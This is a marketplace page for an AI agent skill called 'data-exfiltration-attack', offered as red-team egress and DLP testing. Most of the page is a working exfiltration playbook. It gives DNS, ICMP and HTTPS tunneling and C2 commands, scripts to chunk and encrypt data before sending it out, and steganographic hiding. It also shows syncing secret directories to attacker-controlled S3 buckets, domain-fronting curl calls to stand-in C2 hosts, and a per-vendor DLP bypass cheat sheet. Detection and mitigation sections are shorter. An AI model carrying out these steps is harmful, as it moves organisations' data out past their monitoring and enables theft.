Skip to main content Home Creators brucesongs kali-claw data-exfiltration-attack
data-exfiltration-attack Attacks for exfiltrating data from compromised networks and bypassing DLP/egress controls. Covers DNS tunneling, ICMP/HTTPS tunneling, protocol smuggling, steganographic exfil, cloud-native exfil (S3/OpenSearch/BigQuery), and DLP bypass. Use when testing egress monitoring, validating DLP controls, or simulating APT exfiltration campaigns.
Jump to install Skills Marketplace Discover and explore AI skills built by the community.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
Show prompt details A direct command skips the review prompt. Inspect the source before running it.
npx skills add https://github.com/brucesongs/kali-claw --skill data-exfiltration-attackThe command stays on one line. Scroll horizontally to inspect it before copying.
Prefer a local copy? Download the files currently available to SkillsMP.
Download Zip Downloading... name data-exfiltration-attack description Attacks for exfiltrating data from compromised networks and bypassing DLP/egress controls. Covers DNS tunneling, ICMP/HTTPS tunneling, protocol smuggling, steganographic exfil, cloud-native exfil (S3/OpenSearch/BigQuery), and DLP bypass. Use when testing egress monitoring, validating DLP controls, or simulating APT exfiltration campaigns. origin kali-claw version 0.2.0.2 compatibility ["kali-linux-2025-2-arm64","python-3.11+","dnscat2","iodine","chisel","merlin","sliver"] allowed-tools ["dnscat2","iodine","dns2tcp","chisel","merlin","sliver","gost","ngrok","cloudflared","stunnel","socat","proxychains","tor","steghide","zsteg","powershell","certutil","bitsadmin","curl","python3"] metadata {"domain":"data-exfiltration","tool_count":19,"guide_count":2,"mitre":"TA0010-Exfiltration, TA0011-Command and Control, T1041, T1048, T1048.002, T1053, T1071, T1071.001, T1071.004, T1090, T1104, T1132, T1567, T1567.002, T1571, T1572, T1573","last_reviewed":"2026-07-26"}
Data Exfiltration Attack
Summary
Exfiltration is the final stage of the kill chain — once attackers have collected data, they must move it out without tripping DLP, IDS/IPS, SWG, or CASB controls. This domain covers the full exfiltration landscape: DNS tunneling (the most common C2/exfil channel in restricted environments), ICMP/HTTP(S) tunneling, protocol smuggling over legitimate services (Google Drive / OneDrive / GitHub / Cloudflare), steganographic exfiltration (PNG/BMP/PDF steg), cloud-native exfil (S3 cross-account, OpenSearch collection, BigQuery external tables), and DLP bypass techniques. Includes operator playbooks for egress testing, DLP validation, and APT exfiltration simulation against enterprise defenses (Zscaler/Netskope/Forcepoint/Palo Alto).
Key Terms
Exfiltration — Unauthorized transfer of data out of a network (MITRE TA0010)C2 / Command and Control — Channel attacker uses to control compromised host (TA0011)DNS tunneling — Encoding IP/TCP traffic inside DNS queries (iodine, dnscat2)Domain fronting — Using legitimate CDN SNI to hide attacker origin (T1090.004)DLP — Data Loss Prevention (content-aware egress filter)SWG — Secure Web Gateway (URL + content filtering for HTTP/HTTPS)CASB — Cloud Access Security Broker (cloud-aware DLP)LOLBin — Living Off The Land Binary (signed Microsoft binaries used for exfil)Dead-drop resolver — Public service (GitHub, Telegram) used as C2 polling pointLow-and-slow — Exfil cadence kept below detection baseline (1–10 MB/day)Double extortion — Exfil + ransomware pattern (Conti, LockBit, BlackCat)Air-gap exfil — Out-of-band channels (acoustic, EM, LED) for isolated networks
Scope
This skill covers offensive exfiltration testing for red team engagements:
Egress validation against DLP / SWG / CASB
DNS / ICMP / HTTPS / stego / cloud exfil channels
APT simulation (state actor + cybercrime tradecraft)
DLP rule validation
Reporting on detection gaps
Out of scope : data theft (real PII), destructive wipers, mass DoS of egress, production source-of-truth corruption.
Use Cases
Egress validation : Test whether SWG/CASB catches DNS tunneling, HTTPS beaconing, low-and-slow exfil
DLP rule testing
APT simulation : Mimic APT41 / SolarWinds / Emotet / Conti exfiltration patterns
DNS tunnel C2 : Operate C2 in DNS-only environments (captive portals, segmented OT)
Cloud exfil : Abuse legitimate cloud services (S3 / BigQuery / OpenSearch) for stealth exfil
Stego exfil : Hide payload in PNG/BMP/PDF/WAV metadata for covert channel
Protocol smuggling : Disguise exfil as legitimate traffic (NTP, SCTP, WebSocket, gRPC)
Dead-drop resolvers : Use public services (GitHub, Reddit, Pastebin, Telegram) for C2 polling
ICMP tunneling : Operate in ICMP-only environments (some firewall configs allow ICMP only)
Domain fronting : Hide exfil destination behind CDN front (Cloudflare, Fastly, Akamai)
Core Tools Tool Purpose dnscat2DNS tunnel C2 + exfil iodineDNS tunnel (IP-over-DNS) dns2tcpDNS tunnel (TCP-over-DNS) chiselHTTP/WebSocket tunnel with mTLS merlinHTTP/2 C2 (Go) sliverHTTP/HTTPS/DNS C2 gostMulti-protocol tunnel (SOCKS/HTTP/TLS) ngrokEgress tunnel for testing cloudflaredCloudflare tunnel stunnelTLS wrapper socatUniversal socket relay proxychainsSOCKS chain torOnion routing steghideImage/audio steganography zstegPNG/BMP steganography detection powershellLOLBin for encoded commands certutilWindows LOLBin (base64 decode, download) bitsadminWindows BITS for low-and-slow exfil curlUniversal HTTP client
Methodology
Phase 1 — Reconnaissance Map the egress surface: what protocols are allowed, where DLP sits, what cloud services are reachable.
for proto in 53/udp 53/tcp 80/tcp 443/tcp 123/udp 4444/tcp 8080/tcp; do
nc -vz -w 2 exit-proxy.example.com ${proto/\/*/} -p ${proto/*\//} 2>&1 | grep -E "succeeded|failed"
done
dig +short AAAA exfil.example.com @internal-dns.example.com
curl -s https://egress-check.example.com/ | grep -iE "zscaler|netskope|forcepoint|paloalto|cisco|symantec"
Phase 2 — Channel Selection Pick exfil channel based on egress surface:
Channel When to use DNS tunnel Only DNS egress allowed (captive portal, OT network) HTTPS beacon HTTPS egress allowed, want to blend with normal traffic ICMP tunnel ICMP allowed, TCP heavily monitored Steganography Image/file upload permitted, want plausible deniability Cloud service Google Drive / OneDrive reachable, want "legitimate" exfil Protocol smuggling Want to disguise as NTP/SCTP/WebSocket
Phase 3 — Payload Preparation Stage data for exfil — chunk, compress, encrypt, encode.
split -b 1024 secret.tar.gz chunk_
tar czf - /secret | openssl enc -aes-256-cbc -k "$KEY " -out exfil.enc
base64 -w0 exfil.enc > exfil.b64
Phase 4 — DNS Tunneling
iodined -c -f -P REPLACE_WITH_YOUR_PW 172.16.0.1 t1.exfil.example.com
iodine -P REPLACE_WITH_YOUR_PW t1.exfil.example.com
ruby dnscat2.rb exfil.example.com
./dnscat2 exfil.example.com
Phase 5 — HTTPS C2/Exfil
sliver > https --domain legit-looking.example.com --tls-cert fake.crt
chisel server -p 8080 --reverse --tls-key server.key --tls-cert server.crt
chisel client https://chisel.example.com:8080 R:1080:socks
merlin > set URL https://cdn.example.com/
Phase 6 — ICMP Tunneling
hans -v -f -s 1 -p REPLACE_WITH_YOUR_PW 10.0.0.1
hans -v -f -c -p REPLACE_WITH_YOUR_PW 10.0.0.1
ptunnel -r exfil.example.com -lp 8000
Phase 7 — Steganographic Exfil
steghide embed -cf cover.png -ef exfil.enc -p REPLACE_WITH_YOUR_PW -sf stego.png
steghide embed -cf cover.wav -ef exfil.enc -p REPLACE_WITH_YOUR_PW -sf stego.wav
exiftool -Comment="$(base64 exfil.enc) " cover.pdf -o stego.pdf
Phase 8 — Cloud Service Abuse
rclone copy /secret gdrive:exfil/
aws s3 sync /secret s3://attacker-bucket/ --endpoint-url https://s3.amazonaws.com
curl -X POST -H "Authorization: token $GH_PAT " \
https://api.github.com/gists -d @gist-payload.json
aws s3 sync /secret s3://exfil/ --endpoint-url https://abc.r2.cloudflarestorage.com
Phase 9 — Domain Fronting
curl -H "Host: hidden-c2.example.com" \
https://legitimate-cdn-hosted-on-cloudflare.com/
curl -H "Host: hidden-c2.example.com" \
https://d111111abcdef8.cloudfront.net/
Phase 10 — Reporting Produce exfil validation report:
Channels tested (which succeeded / failed)
Volume exfil'd per channel
DLP/SWG alerts triggered (or not)
Detection gaps
Practical Steps
Step 1 — Map egress surface
for port in 53 80 443 123 445 3306 3389 5432 5900 8080 8443; do
timeout 2 nc -vz exit-proxy.example.com $port 2>&1 | grep -E "succeeded" && echo "Port $port OPEN"
done
dig +short AAAA exfil.attacker.example.com @internal-dns.example.com
Step 2 — Test DNS tunnel
iodine -P REPLACE_WITH_YOUR_PW t1.exfil.example.com
ip addr show dns0
ssh user@172.16.0.1
Step 3 — Test HTTPS C2
sliver > generate --http https://c2.example.com --os linux
sliver > http
while read chunk; do
curl -X POST https://c2.example.com/upload -d "$chunk "
done < chunks.txt
Step 4 — Test stego exfil
ffmpeg -f lavfi -i color=black:s=1920x1080:d=1 cover.png
steghide embed -cf cover.png -ef secret.enc -p REPLACE_WITH_YOUR_PW -sf stego.png
steghide extract -sf stego.png -p REPLACE_WITH_YOUR_PW
Step 5 — Test DLP bypass
python3 -c "
import random
for _ in range(100):
print(f'{random.randint(100000000, 999999999):09d}') # SSN-like
" > fake-ssn.txt
curl -X POST https://exfil.example.com/ -d @fake-ssn.txt
base64 fake-ssn.txt | curl -X POST https://exfil.example.com/ -d @-
openssl enc -aes-256-cbc -k "$KEY " -in fake-ssn.txt | curl -X POST https://exfil.example.com/ -d @-
Defense Perspective
DNS is a C2 channel — most DLP ignores DNS; APTs exploit thisCloud services are dual-use — Google Drive / GitHub gists / Pastebin are exfil vectorsTLS inspection has blind spots — pinned apps, certificate-bound, DoH/DoQ bypass SWGVolume-based detection misses low-and-slow — rate-based detection misses patient exfilStego is hard to detect at scale — but can flag anomalies (image entropy, metadata size)ICMP is overlooked — many networks allow ICMP; few inspect payloadDomain fronting breaks destination-based detection — must inspect SNI vs Host headerLOLBins bypass allowlist — certutil, bitsadmin, mshta are signed Microsoft binaries
DNS firewalling (block known-tunneled NS, monitor TXT query volume)
TLS inspection with CFW (Cloudflare Workers), but respect cert pinning
Cloud service allowlist + monitoring (Google Workspace / M365 audit logs)
Steganography detection (entropy analysis, metadata size limits)
Domain fronting detection (SNI ≠ Host header alert)
LOLBin monitoring (certutil / bitsadmin / mshta telemetry)
Behavior-based detection (volume baseline + peer-group anomaly)
Decoy documents (canarytokens) to detect exfil channel
Egress allowlist (no direct Internet, force proxy)
Detection Methods
Network-Layer Indicators
DNS tunneling signatures : Long DNS queries (>50 chars), high-entropy subdomains, TXT/A record bursts.DNS beaconing : Periodic DNS queries to attacker-controlled domain (Cobalt Strike signature).HTTPS to unfamiliar domains : Large uploads to unknown cloud storage / file sharing.Protocol anomalies : SSH over 443, HTTP tunneling, ICMP tunneling (large ping payloads).
SIEM Detection Rules
Splunk SPL : index=dns | where len(query) > 50 | stats count by src_ip | where count > 100Splunk SPL : index=firewall action=allowed | stats sum(bytes_out) by src_ip | sort -sum(bytes_out) | head 20RITA (Real Intelligence Threat Analytics) : Beacon detection via statistical analysis.DLP systems : Forcepoint, Symantec DLP for content-based detection.
Endpoint Indicators
Mass file read events : Process reading many files in short window (precursor to exfil).Compress-then-upload : tar/zip followed by curl/scp within 60 seconds.Encrypted archive creation : New .zip/.7z with password ( evasion signature).
Defense Evasion Techniques
Bandwidth-Aware Exfiltration
Low & slow : Pace exfil below network baseline (e.g., 100 KB/hr); evades rate-based detection.Distribute across protocols : Mix DNS, HTTPS, ICMP; spread exfil across multiple channels.Time-windowed : Use off-hours (1-5 AM local) when network baseline is low.Trickle over weeks : Spread exfil over long period; below anomaly threshold.
Covert Channels
DNS tunneling : Encode data in DNS queries (dnscat2, iodine); bypasses most firewall rules.ICMP tunneling : Data in ICMP echo payload; bypasses port-based filtering.HTTP/3 (QUIC) : Newer protocol; many monitoring tools don't decode yet.WebSocket : Persistent connection; bypasses connection-counting rate limits.Cloud CDN abuse : Use legitimate CDN (Cloudflare, AWS CloudFront) to mask destination.
Steganography
Image LSB : Encode data in least-significant bits of PNG/BMP images.Audio steganography : Encode in WAV/MP3 spectrogram (Coagula, Arss).Video steganography : Frame-by-frame LSB modification; high bandwidth.PDF object abuse : Hide data in PDF object streams.Network packet timing : Encode data in inter-packet delays (covert timing channel).
Cloud Exfiltration Stealth
Use sanctioned apps : Upload to corporate OneDrive/Google Drive; below suspicion.OAuth consent abuse : Use legitimate OAuth flow to access user data via Microsoft Graph.Snapshot sharing : Share EBS/snapshot to attacker AWS account via legitimate mechanism.Cross-region replication : S3 replication to attacker-controlled bucket; appears as DR config.
References
MITRE ATT&CK Exfiltration Tactics — https://attack.mitre.org/tactics/TA0010/
MITRE ATT&CK Command and Control — https://attack.mitre.org/tactics/TA0011/
CISA AA21-148A — DarkSide Ransomware (exfil techniques)
Mandiant APT1 Report (DNS tunneling exfil)
CrowdStrike 2024 Global Threat Report
Google TAG — APT41 DNS Tunneling
SolarWinds SUNBURST Analysis (FireEye, 2020)
"Network Security Assessment" (McNutt, 2024)
"Security Engineering" (Anderson, 3rd Edition)
DNS Tunneling Detection — https://github.com/bsidessf/dns-tunneling-detect
OWASP Egress Testing Guide
IETF RFC 7858 — DNS over TLS
IETF RFC 8484 — DNS over HTTPS
SANS ICS — Egress monitoring for OT networks
Channel Selection Matrix Egress allowed Primary channel Fallback channel Volume target DNS only iodine / dnscat2 DoH (8.8.8.8) <100 MB/day DNS + HTTPS Sliver HTTPS DNS backup 100 MB–1 GB ICMP only Hans / ptunnel — <50 MB/day All TCP Sliver + chisel MegaSync Unlimited Cloud SaaS allowed Google Drive / GitHub MegaSync Unlimited Air-gapped Acoustic / EM LED / power-line <10 KB/s
MITRE ATT&CK Mapping Technique ID Channel Exfiltration over C2 channel T1041 HTTPS / DNS Exfiltration over alternative protocol T1048 DNS / ICMP Exfiltration over asymmetric encryption T1048.002 HTTPS Exfil via scheduled task T1053 certutil / bitsadmin Application layer protocol — web T1071.001 HTTPS Application layer protocol — DNS T1071.004 DNS Proxy (CDN domain fronting) T1090 Cloudflare / Fastly Multi-Stage Channels T1104 DNS → HTTPS Data encoding / transformation T1132 base64 / stego Exfiltration to cloud storage T1567.002 S3 / Drive Non-standard port T1571 8443 / 8444 Protocol tunneling T1572 iodine / chisel Encrypted channel T1573 TLS / mTLS
Engagement Workflow
Scope — confirm egress channels, DLP vendor, allowed volume capRecon — map egress surface (DNS / HTTPS / ICMP / cloud SaaS)Channel select — match channel to egress + DLP visibilityLab — build C2 infrastructure, steg tools, synthetic PIIAttack — payload prep → channel test → DLP bypassCleanup — remove implants, rotate infrastructureReport — channels tested, volume exfil'd, DLP alerts triggered
DLP Vendor Cheat Sheet Vendor Detection method Common bypass Zscaler ZIA SNI + content regex + TLS inspection DoH / DoT / cert pinning Netskope CASB cloud-aware Encrypt before upload Forcepoint Content + behavior Steganography (entropy not flagged) Palo Alto App-ID + URL filter Domain fronting Symantec DLP Endpoint content agent Encode / encrypt on host Cisco Umbrella DNS reputation dGA domains Bluecoat Content + reputation LOLBin + legitimate cloud
Volume Budget Guidelines Engagement type Daily volume cap Per-channel State actor sim (APT29) 1–10 MB/day DNS + HTTPS split Cybercrime sim (Conti) 100 GB/day (with approval) HTTPS primary OT network test <1 MB/day DNS TXT only Cloud exfil test 1–10 GB / SaaS account S3 / Drive Air-gapped test <10 KB/s Acoustic / EM
Threat Actor Profiles Actor Type Preferred channels Volume profile APT29 / NOBELIUM State (Russia) Domain fronting + OAuth <100 MB/day APT41 / BARIUM State (China) DNS tunneling <10 MB/day UNC5537 Cybercrime Snowflake API abuse 100s of GB Conti / LockBit Cybercrime Rclone / StealBit 100 GB–6 TB BlackCat / ALPHV Cybercrime MegaSync 1–6 TB DarkSide Cybercrime Rclone to S3 100–700 GB Emotet / TrickBot Cybercrime HTTPS POST + DNS <10 KB/beacon
Detection Coverage Map Technique Detection method Vendor DNS tunneling TXT entropy + NS rate Corelight, ExtraHop High-volume HTTPS exfil Egress baseline + rate Palo Alto, Cisco Domain fronting SNI ≠ Host header Bluecoat, F5 Rclone invocation EDR binary alert CrowdStrike, Defender OAuth token abuse SaaS anomaly Microsoft Defender for Cloud Steganography Image entropy analysis FireEye, FireEye HX OT exfil DNS TXT anomaly on OT Dragitt, Nozomi
Compliance Context
PCI DSS 3.4.1 — PAN data must be unreadable during transmission (DLP required)HIPAA Security Rule — PHI egress monitoring (CASB recommended)GDPR Article 32 — encryption + DLP for personal dataSOC 2 Type II — CC6.7 transmission controlsISO 27001:2022 — A.13.1 network controls + A.13.2 information transferNIST 800-53 Rev 5 — SC-8 transmission confidentiality + AC-3 enforcementNYDFS 500.15 — covered entity exfiltration detectionSEC Rule 10-12B (2024) — 4-day breach disclosure
Lab Infrastructure
sudo apt install bind9
iodined -c -f -P REPLACE_WITH_YOUR_PW 172.16.0.1 t1.exfil.example.com
curl https://sliver.sh/install | sudo bash
sudo apt install steghide
curl https://rclone.org/install.sh | sudo bash
Quality Checklist More from this repository
Defensive deception and honeypot deployment covering SSH/Telnet (Cowrie), web (OpenCanary), enterprise (HFish), ICS/SCADA (Conpot), all-in-one (T-Pot), AI-driven deception (Beelzebub), Thinkst Canarytokens (DNS, HTTP, file, AWS API key, SQL), Dionaea multi-protocol honeypot, notification pipelines (Slack/Teams webhooks), false positive tuning, and attacker engagement — including lure design, deployment OPSEC, IOC extraction, and attacker attribution.
Related occupations SOC
Based on SOC occupation classification
